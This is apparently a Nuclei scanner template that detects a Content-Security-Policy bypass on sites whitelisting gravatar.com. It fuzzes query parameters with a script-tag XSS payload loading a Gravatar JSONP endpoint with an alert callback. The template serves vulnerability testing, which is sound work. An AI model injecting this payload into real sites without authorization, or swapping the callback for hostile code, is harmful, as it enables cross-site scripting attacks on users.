id: gravatar-secure-csp-bypass

info:
  name: Content-Security-Policy Bypass - Gravatar Secure
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,gravatar-secure,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "gravatar.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: gravatar_secure_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://secure.gravatar.com/930fc2e7cd239606c398bff5b5fc12e7.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "gravatar_secure_csp_xss == true"
# digest: 4a0a004730450221008b6c527559a0956f08a55a1246cf57c6e997543d7cfc333fd04bdd432c12f9a9022066b36806905f8f8b669a1098130336c7f092b26fc7965f224649f4e693492f90:922c64590222798bb761d5b6d8e72950